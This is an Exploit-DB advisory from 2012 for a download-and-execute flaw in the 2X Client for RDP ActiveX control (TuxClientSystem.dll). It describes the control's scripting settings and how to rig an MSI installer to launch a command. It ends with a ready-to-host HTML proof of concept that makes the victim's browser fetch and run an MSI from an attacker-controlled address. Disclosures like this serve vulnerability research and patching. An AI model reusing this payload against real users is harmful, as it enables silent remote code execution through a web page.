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2X Client for RDP 10.1.1204 ClientSystem Class ActiveX Control Download and Execute Vulnerability



EDB-ID: 18624 CVE: N/A OSVDB-ID: N/A
Author: rgod Published: 2012-03-19 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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2X Client for RDP 10.1.1204 ClientSystem Class ActiveX Control 
TuxClientSystem.dll InstallClient() Download and Execute 
Vulnerability

tested against: Microsoft Windows Vista SP2
                Microsoft Windows Server 2003 r2 sp2
                Internet Explorer 8

vendor description:
"2X Software is a global leader of desktop and application delivery, 
remote access and cloud computing solutions."

2x homepage: http://www.2x.com/

download url: http://www.2x.com/rdp-client/windows-linux-mac/downloadlinks/

file tested: 2XClient.msi

Background:

the mentioned product installs an ActiveX control with the following
settings:


ProgID: TuxClientSystem.ClientSystem.1
CLSID: {F5DF8D65-559D-4b75-8562-5302BD2F5F20}
Binary path: C:\Program Files\2X\Client\TuxClientSystem.dll
Implements IObjectSafety: True
Safe for Scripting: True
Safe for Initialization: ?

According to the IObjectSafety interface this control is Safe 
for Scripting, then Internet Explorer will allow the scripting
of this control.

Vulnerability:

...
/* DISPID=2 */
	function InstallClient(
		/* VT_BSTR [8] [in] */ $msiPath,
		/* VT_I4 [3]  */ $bFullInstallation 
		)
	{
		/* method InstallClient */
	}
...

The first argument of this method accepts a file location on the
internet. By supplying the url of a .msi installer, the mentioned
control will download and execute the file without no user 
interaction other then browsing a web page.

To demonstrate this vulnerability I modified an
existing standalone msi installer through free availiable tools
by replacing a CustomAction row with the following values:

Action  Type    Source                                                  Target                       ExtendedType
Run	226	SystemFolder.98CB24AD_52FB_DB5F_FF1F_C8B3B9A1E18E	"""cmd.exe"" /c start calc"  <null>	



As attachment:
9sg_2x.html - host on a web server and change the position of x.msi
              then browse this page


POC:
<!-- 2X Client for RDP 10.1 ClientSystem Class ActiveX Control TuxClientSystem.dll
     InstallClient() Download and Execute Vulnerability PoC
-->
<!-- saved from url=(0014)about:internet -->
<html>
<object classid='clsid:F5DF8D65-559D-4B75-8562-5302BD2F5F20' id='obj' />
</object>
<script>
obj.InstallClient("http://192.168.2.101:4444/x.msi",1);
</script>